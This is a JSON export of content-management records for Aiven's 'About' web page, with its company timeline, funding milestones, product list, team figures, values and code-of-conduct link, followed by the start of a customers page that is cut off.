{"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"c79a4329-7549-48d7-90d2-617da8070ffd__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-15T10:09:18Z","_id":"c79a4329-7549-48d7-90d2-617da8070ffd","_rev":"aLIIQ7Q5L2eXkJOQZBY5t4","_type":"page","_updatedAt":"2025-01-08T15:11:43Z","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"content":[{"_key":"6fdba4835683","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"fa61aca6511e","_type":"block","children":[{"_key":"9c74435570dc0","_type":"span","marks":[],"text":"We help customers create outcomes and accelerate building application with the Aiven data \u0026 AI platform."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"roundedCorners":"rounded-b","title":"About Aiven","variant":"compact"},{"_key":"cz3bq90duz4mmlb4iyw3rgbmkd7vo4fu","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d96add4cb951","_type":"block","children":[{"_key":"78cb704520600","_type":"span","marks":["6922324c7587"],"text":"Aiven empowers businesses"},{"_key":"a615e28ba069","_type":"span","marks":[],"text":" of all sizes, from startups to Fortune 500 enterprises, across diverse sectors in more than 60 countries to accomplish their goals. "}],"markDefs":[{"_key":"6922324c7587","_type":"internalLink","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"}}],"style":"normal"}],"title":"Trusted by industry leaders","variant":"mediaCenter"},{"_key":"v8sqx4odggzefkfjgte9xago4c5uuk8w","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"logos":[{"_key":"cijs71i33f0ck0cre3ml6wcgsyen6ib6","_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},{"_key":"u08d5mub3q0tnk9m6ep2z8poqpxxcndr","_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},{"_key":"29wlez573x4wgvqh8zi2b71dhmaeo8rb","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"c71a3ll186r639j2c0xnjmbn8eksx7ip","_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},{"_key":"2oz38udp64drwt2aavzb1lcd5ymws348","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"2qr18pyvmy8x5v4z593i4pn5s58qfksk","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"logo"},{"_key":"zfxmqdu0nuy3bzzj6jlx430uxxy8fpd7","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"d3o9zvw9at8h79438sep5eei29axuhit","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Contribute"},"image":{"_type":"mainImage","asset":{"_ref":"image-a0cee03c74d73981250724f2348cc09e81be416c-2000x1333-jpg","_type":"reference"}},"subtitle":[{"_key":"1d80221ff784","_type":"block","children":[{"_key":"36946b6a1d700","_type":"span","marks":[],"text":"At Aiven, open source is at the core of everything we do – from our culture of open-mindedness, to our desire to contribute and keep giving back to the world."}],"markDefs":[],"style":"normal"}],"title":"Open Source","variant":"default"},{"_key":"patvyi8qnb7qw4a594t86i40f6xvk6dp","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-b38e828faf7221cb872497df1a8d9bbd4cf05c01-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"ba5e4b4d531b","_type":"block","children":[{"_key":"5b56722381350","_type":"span","marks":[],"text":"Aiven aims to build a world where open source technology is developed by everyone, for everyone – with the good of the people and our environment in mind."}],"markDefs":[],"style":"normal"}],"title":"Sustainability","variant":"default"},{"_key":"5eaanght3hsjh36qu8p3pxzuinn450ts","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Apply now"},"image":{"_type":"mainImage","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"c2dd6be96583","_type":"block","children":[{"_key":"f8979ba766f70","_type":"span","marks":[],"text":"Our startup program offers up to $100,000 credit to build your data infra using Aiven services, and technical expertise to help your startup grow – fast."}],"markDefs":[],"style":"normal"}],"title":"Scale up your startup","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Community","title":"We give back to our community"},{"_key":"kr1di609bpzffbklhf8iww722ps8sd7j","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"The open road to growth","variant":"centerColumn"},{"_key":"wvqymicca1yut2ymrxaswyaq0uuiwyte","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c1fe7c8e0d4945c1ffdda7582652c8e3166b070c-1200x628-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"AI-powered data optimization ","text":[{"_key":"fa1dff910faa","_type":"block","children":[{"_key":"4281b1b02aba","_type":"span","marks":[],"text":"Aiven have "},{"_key":"6d3b10f76a85","_type":"span","marks":["7176700a143b"],"text":"acquired EverSQL"},{"_key":"c659c185cec7","_type":"span","marks":[],"text":", a leader in the database optimization space. Integrating EverSQL’s AI-powered optimization engine into Aiven’s open source platform means that Aiven customers will benefit from automated, personalized and actionable insights to help fine-tune their data architecture."}],"markDefs":[{"_key":"7176700a143b","_type":"internalLink","internalLink":{"_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}}],"style":"normal"}],"title":"2023","variant":"mediaLeft"},{"_key":"z0uh05pws54p131aei3yb2rjnnq4j1en","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f0147a3e62c8f8245d97b2045c24b912b3868805-1920x1037-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Back to the community","text":[{"_key":"612d52d25b01","_type":"block","children":[{"_key":"1aa945f6dd2b","_type":"span","marks":[],"text":"Aiven raises $210M Series D to invest in sustainable open source cloud, offering services to over 1000 customers. We welcome "},{"_key":"7bc1b24836ba","_type":"span","marks":["b109102e8fec"],"text":"Kafkawize, now Klaw"},{"_key":"2908071b7512","_type":"span","marks":[],"text":", into our Open Source Program Office. This marks a significant milestone, not just as our first acquisition, but as the moment where we add “steward of communities” to our open source commitment."}],"markDefs":[{"_key":"b109102e8fec","_type":"internalLink","internalLink":{"_ref":"6ZcP2aj9aXVAN0Dh2tlga5","_type":"reference"}}],"style":"normal"},{"_key":"80f1dea6f1e0","_type":"block","children":[{"_key":"0dd85f37a1b0","_type":"span","marks":[],"text":"Products: ClickHouse\nCustomers: 1000+ customers"}],"markDefs":[],"style":"normal"}],"title":"2022","variant":"mediaLeft"},{"_key":"6z2ynikstlwl7p1dps2obpoc09du8jyt","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1034673270fd6773e62cb9193f275e2b0c037bb9-1920x1037-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"$2B unicorn valuation","text":[{"_key":"eee354178c7a","_type":"block","children":[{"_key":"cb0078612211","_type":"span","marks":[],"text":"Aiven "},{"_key":"c614eebeb58f","_type":"span","marks":["0c916baa6a1f"],"text":"achieves $2B unicorn valuation"},{"_key":"40de000ad39d","_type":"span","marks":[],"text":" with two Series C funding rounds of $100M Series C and $60M Series C extension to deepen its investment in open source software and expand globally. "}],"markDefs":[{"_key":"0c916baa6a1f","_type":"internalLink","internalLink":{"_ref":"5rQCh0etMiAbkYM5ZZfaf2","_type":"reference"}}],"style":"normal"},{"_key":"940a06a9092b","_type":"block","children":[{"_key":"4142dd90b721","_type":"span","marks":[],"text":"Products: OpenSearch\nProducts: Apache Flink"}],"markDefs":[],"style":"normal"}],"title":"2021","variant":"mediaLeft"},{"_key":"rndddaiqqklbzorvrtmke8rgh2ezxpep","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f7512205bd6fbdce15cd7542c74a7364223ed956-1920x1037-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Unicorn in making","text":[{"_key":"abdedc004237","_type":"block","children":[{"_key":"28282e9bea9e","_type":"span","marks":[],"text":"Aiven has received "},{"_key":"f5aea0280ae7","_type":"span","marks":["52b168a2c823"],"text":"$40M Series B"},{"_key":"96c332af50f0","_type":"span","marks":[],"text":" and expanded its product roadmap \u0026 work closely with more than 500 businesses worldwide."}],"markDefs":[{"_key":"52b168a2c823","_type":"internalLink","internalLink":{"_ref":"7wIAFvwRmBCXqgHVhQ2Xyq","_type":"reference"}}],"style":"normal"},{"_key":"35647bac637d","_type":"block","children":[{"_key":"cc535af3ed91","_type":"span","marks":[],"text":"Products: M3, Mirrormaker\nCustomers: 500+ customers"}],"markDefs":[],"style":"normal"}],"title":"2020","variant":"mediaLeft"},{"_key":"1ire2ue3r09g1mb0bgx1q0ccaxqynwow","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1e1bbbfd9024a158f83dfc6ce21e85b6c698ce56-1920x1037-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"A growing startup","text":[{"_key":"4f452c5b544b","_type":"block","children":[{"_key":"913b0ee5acb0","_type":"span","marks":[],"text":"Aiven has completed an "},{"_key":"61d0f6ae5217","_type":"span","marks":["7765171cda46"],"text":"€8 million Series A funding round"},{"_key":"52d938055d58","_type":"span","marks":[],"text":" to accelerate international growth."}],"markDefs":[{"_key":"7765171cda46","_type":"internalLink","internalLink":{"_ref":"1yBmCSye78uAO22lQb3Q5x","_type":"reference"}}],"style":"normal"},{"_key":"0adcfe242cc1","_type":"block","children":[{"_key":"6faa6ea63359","_type":"span","marks":[],"text":"Products: MySQL, ElasticSearch\nCustomers: 250+ customers"}],"markDefs":[],"style":"normal"}],"title":"2019","variant":"mediaLeft"},{"_key":"jtfcy537wfa3aku66o2fu22r1b7xerw6","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-37a810ad73cfffaeaa7bdabe0dfffb7656c98371-1920x1037-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"First round of funding","text":[{"_key":"cov2rnsaej57j2pvy6uwwslh6hg7robc","_type":"block","children":[{"_key":"vqklit4uo6xw13ucxut20ev5lji64230","_type":"span","marks":[],"text":"Aiven received $1M Seed funding to further its mission in the open source world, serving more than 100 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"timn7qeq4wrgqku7unge0cgezo2zcpny","_type":"block","children":[{"_key":"47v98ykpgjy8l7pkjkq8gtdr7l7egbgw","_type":"span","marks":[],"text":"Products: Kafka Connect, Cassandra\nCustomers: 100+ customers"}],"markDefs":[],"style":"normal"}],"title":"2017","variant":"mediaLeft"},{"_key":"1lya2rzmifpbhtbkknj1uclw8r09z15d","_type":"textImage","addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037-jpg","_type":"reference"}},"narrowImage":false,"noSpaceTop":false,"roundedCorners":"rounded-b","tagline":"Meet our founders","text":[{"_key":"eopvbyi9d5k0yaj3zfnkdy2oqcoz9l1y","_type":"block","children":[{"_key":"24imk6t41swmopuzz4g3vrr4wi14ec8c","_type":"span","marks":[],"text":"Aiven's founders built their expertise managing mission-critical data infrastructure for companies like F-Secure and Nokia. They noticed that cloud adoption was increasing but infrastructure solutions were either proprietary or difficult to translate into business results."}],"markDefs":[],"style":"normal"},{"_key":"ic2xk4ssp9hi64b8x03uz9lnbesm92yf","_type":"block","children":[{"_key":"dxb9enae82dcsks9o3sekrknk1j6zshl","_type":"span","marks":[],"text":"They strongly believe that the best cloud data management tools should be available for anyone who needs them. So they started Aiven in a tiny office in Helsinki with a mission to make developers’ lives better."}],"markDefs":[],"style":"normal"},{"_key":"dk23b18z0tewh2wy0hp1zxv7c4ml4mz9","_type":"block","children":[{"_key":"zykfbchhdadewq02cyktyq4ypm4evbb9","_type":"span","marks":[],"text":"Products: PostgreSQL, InfluxDB, Grafana, Kafka, Redis\nCustomers: \u003c50 customers"}],"markDefs":[],"style":"normal"}],"title":"2016","variant":"mediaLeft"},{"_key":"2gq4i7woxn9y27it9ho55k6bpqcl6j9h","_type":"avatarList","addSpaceBottom":true,"addSpaceTop":true,"avatars":[{"_key":"w35dqw8aywfhzunnxlxttrbnlnq11de5","_ref":"78a639df-9b11-4823-9b95-88a5a8ecf9cd","_type":"reference"},{"_key":"4f72cbba531c","_ref":"f1cc6c58-fd4e-42c5-8fa1-8d642ec53558","_type":"reference"},{"_key":"8584ab16e07560e13ead9b0c37fdf94b","_ref":"a0816dd6-62f2-4db1-af43-06d23379bd95","_type":"reference"},{"_key":"vfm2wtu6wxxxvgtffwa0dq8bv1o3csll","_ref":"76ca6172-29ec-4df1-a203-eb626cc1925e","_type":"reference"},{"_key":"2e690c139113","_ref":"e07e31a4-24d2-4cb1-8d78-dbbfae11e2b2","_type":"reference"},{"_key":"glf093icvhd9xjeiew2osygi6d559a5y","_ref":"a7956adf-2fa4-4ff8-9db0-cfb955f6f2ca","_type":"reference"},{"_key":"g32aq8glrjih6smx2nl2ejqd84bn3j2w","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"},{"_key":"trsscodckrdaegn45kphou7iwp0qd50z","_ref":"d8ba49d5-3150-48bf-9bb6-a7f6661f1208","_type":"reference"}],"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"roundedCorners":"rounded","title":"Leadership","variant":"default"},{"_key":"vwqddiu58ddlzbhzv7ts1n22fcuyucqq","_type":"avatarList","addSpaceBottom":true,"avatars":[{"_key":"znwjkju8vyf619om4og9pgt9yhancscl","_ref":"7f1327ed-b16a-479d-8605-d8e0ac94d9af","_type":"reference"},{"_key":"9oqjcfha1tqijboy6we7ukbhhtqzo9mo","_ref":"59d13ba9-fd83-41a6-b147-2a9a02c89f12","_type":"reference"},{"_key":"kq4941ar2mz2xoryob7wxz0ydu5afser","_ref":"a15ebf67-fe8b-432e-8022-5d3433feb433","_type":"reference"},{"_key":"30jte85bkknb4vd4wf7ig0qqm7rbq76q","_ref":"1f7684bb-1bf1-461e-9e6b-935ca01e6fbb","_type":"reference"},{"_key":"6r0tc0t8guuio8ln9chshpp7t1xngu9a","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"}],"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":true,"fullWidth":false,"roundedCorners":"rounded-b","title":"Board of Directors","variant":"default"},{"_key":"hbqp9drirzw5hcd7q2l3azzb648qb6nd","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"3enmeiy8kk5xiv63u3n3sywqlnr09mgo","_type":"numberItem","description":[{"_key":"i5ztnvkg6dn9g8yfcy0281u7ydnwup5j","_type":"block","children":[{"_key":"x3cerrtesazu57h2t34b7q9l6bue8wbi","_type":"span","marks":[],"text":"employees"}],"markDefs":[],"style":"normal"}],"number":"500+"},{"_key":"hz8xb3ulg8kjicqykt9mb1kn6kisql3n","_type":"numberItem","description":[{"_key":"7cmz941s2rjp1oqyf2e07h3qf6v72d2d","_type":"block","children":[{"_key":"azxu4rm5byjr65j75evpji71h5gdzg3y","_type":"span","marks":[],"text":"nationalities"}],"markDefs":[],"style":"normal"}],"number":"70+"},{"_key":"vevmwlkp509fyhbntswukzthtp9lz2mi","_type":"numberItem","description":[{"_key":"wmp1zotsjskkejtyb8t4o7b9hxsbuy7n","_type":"block","children":[{"_key":"bshomttvqfnps95j0gt313b3xku1wm8t","_type":"span","marks":[],"text":"open positions"}],"markDefs":[],"style":"normal"}],"number":"140+"}],"roundedCorners":"rounded-none","subtitle":[{"_key":"jq78vatu7raupvnnrp0q2b2zexobhj8f","_type":"block","children":[{"_key":"fo429rh34a0putbzglbnf6chidabjbtc","_type":"span","marks":[],"text":"We are a global team headquartered in Helsinki, offices in major cities, and distributed team members in multiple remote locations."}],"markDefs":[],"style":"normal"}],"title":"We are a growing team"},{"_key":"c9fg65pp0ygon3dopptck640u4e01wae","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"b7ret0veyopzjfqdzvum5bqcye71e67g","_type":"tabItem","content":[{"_key":"wm2ojnkh1sgaulbdqiw1eqz8dv152csj","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"5srhxjdgbicjg4vqkmhp2xzr5vyh6onh","_ref":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_type":"reference"},{"_key":"lu6aslw7uqxvf9v4m7ruszw5iwh6ecu5","_ref":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_type":"reference"},{"_key":"8faa289b0905","_ref":"768f0225-3314-4e37-bd63-4eba5d12c5cf","_type":"reference"},{"_key":"994b72ea82fb3a40f3ca9510a6aa4157","_ref":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_type":"reference"},{"_key":"mofb9rchr6fdsubnn5456jk085srjbi4","_ref":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"emea","imageHeight":35,"title":"EMEA"},{"_key":"d3j3yunwjez79p0dil0ahy86cpllggew","_type":"tabItem","content":[{"_key":"84cxgyk445jd8btes7mt9uvrpdmqji61","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"pimh59es0g9w66v3he4qrh1g4tq9fmg4","_ref":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_type":"reference"},{"_key":"jy551gtmozvrb01qrad6oc6n90fh99qg","_ref":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"apac","imageHeight":35,"title":"Asia-Pacific"},{"_key":"u8kgn9mzi3il2ljjp2ii0npm8966tno3","_type":"tabItem","content":[{"_key":"k3ptn8y1mrqphq4us1q3x4luxp56ruzt","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"f5b4890a09e3b4036b389e579ff1bc4e","_ref":"ee969257-7237-47ac-9037-8936af527670","_type":"reference"},{"_key":"a35qgyzk5it4gayeslweu53026ckpl74","_ref":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"amer","imageHeight":35,"title":"North America"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","variant":"button-toggle"},{"_key":"9labetu82h0z1hxeb13zyg2pnzbhp5um","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"Find your place with us"},"roundedCorners":"rounded-tr-bl","tagline":"Career","text":[{"_key":"663db74f99b6","_type":"block","children":[{"_key":"f350c10dab490","_type":"span","marks":[],"text":"We believe in open minds, open discussions, and open source. And we value and celebrate the diversity of our people. Every day, we’re building an even more inclusive workplace. Aiven is somewhere you’ll be able to come out of your shell and be your best, true self."}],"markDefs":[],"style":"normal"}],"title":"Join us at Aiven","variant":"mediaRight","ytId":"eX_wExsWIEE"},{"_key":"6xb6gwd54deyi8oa5emgjubl3tu5wd8b","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"edc6srxkf2o44a6v7ste0x0khyp5n2ny","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-ded3a5e11fa05c2b06de1917abbcd0590f11f0f5-417x417-png","_type":"reference"}},"subtitle":[{"_key":"dnv0ntwi7a1nt4irlfsjqimgiu3kcpxg","_type":"block","children":[{"_key":"55py4ccyxlbrdkl3p7ws5pi8dh2uey0k","_type":"span","marks":[],"text":"To any new idea. To inspiration from every colleague and experience. Supporting the open source community that makes us who we are."}],"markDefs":[],"style":"normal"}],"title":"We are open","variant":"icon-card"},{"_key":"bmbjzhhu3pv7omczrq9amqbv8jiz7h84","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-d618f5469f8a7d6d567a4a122b431ef9918b3e3e-417x417-png","_type":"reference"}},"subtitle":[{"_key":"wpc4b78msdiqgbm0a248fm2qdw2yu4h7","_type":"block","children":[{"_key":"czxaovkrpf04qzrwpxoyc65gxmq8ysqp","_type":"span","marks":[],"text":"We own our decisions. Our mistakes. The places they take us."}],"markDefs":[],"style":"normal"}],"title":"We are owners","variant":"icon-card"},{"_key":"zvouwqwdgijxpfu48ey49jp5ns8t3e6e","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-da9c4c0a4a489aa646bc6b8bb1a45a9a7dc5f5cb-417x417-png","_type":"reference"}},"subtitle":[{"_key":"bt3w3msrhmo6u2ehk1s47znoxaq2tzzk","_type":"block","children":[{"_key":"eiylseqoyvvpvpwaszq7jt7o28w6w1xf","_type":"span","marks":[],"text":"We take on any challenge. Take calculated risks. We drive changes, not resist them."}],"markDefs":[],"style":"normal"}],"title":"We are courageous","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none"},{"_key":"uitwqtflszmvj9w8h8rmnqllxyorsydt","_type":"textImage","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3539325a89681566132a87fcfc35bfb0262870ff-1263x1263-png","_type":"reference"}},"narrowImage":true,"noSpaceBottom":true,"primaryCTA":{"_type":"link","externalUrl":"https://cdn.sanity.io/files/sczeoy4w/production/6b9afbb9db98184240c1b402ebb248b3cbdff615.pdf","title":"Read the full Code of Conduct"},"secondaryCTA":{"_type":"link","internalLink":{"_ref":"4f86e78c-986b-463e-8074-2913ef613509","_type":"reference"},"title":"Learn more about our Whistleblowing Protection"},"text":[{"_key":"hcicl7o5f9qwozdwfi16fsp79lliedjr","_type":"block","children":[{"_key":"wb4nbn3g4vc60alsbml0tnr344dskz5v","_type":"span","marks":[],"text":"Aiven’s Code of Conduct is the ethical standard informing our behavior and commitment to the wellbeing of others and the environment. Aiven strongly encourages both employees and external stakeholders to speak up and report suspected violations of laws and regulations or unethical conduct."}],"markDefs":[],"style":"normal"},{"_key":"d026fb0beba6","_type":"block","children":[{"_key":"c53cbee46d66","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Aiven promotes high business ethics","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"Aiven’s open source cloud data platform boosts innovation, productivity and profitability. Developers can focus on building applications that change the world.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4ad07b9ba92fc2d8458db190b79c9271d2de5760-1200x630-jpg","_type":"reference"}},"metaTitle":"About Aiven – Who we are \u0026 what we do | Find out More"},"slug":{"_type":"slug","current":"/about"},"title":"About"} {"__i18n_lang":"en","_createdAt":"2023-05-17T12:22:00Z","_id":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_rev":"aLIIQ7Q5L2eXkJOQZBZ4RD","_type":"page","_updatedAt":"2025-01-08T15:13:18Z","content":[{"_key":"ec31a06b1ef1","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","description":[{"_key":"5560a6d518b0","_type":"block","children":[{"_key":"0246f9b896c50","_type":"span","marks":[],"text":"Aiven empowers businesses of all sizes, from startups to Fortune 500 enterprises, across diverse sectors in more than 60 countries to accomplish their goals."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Explore all 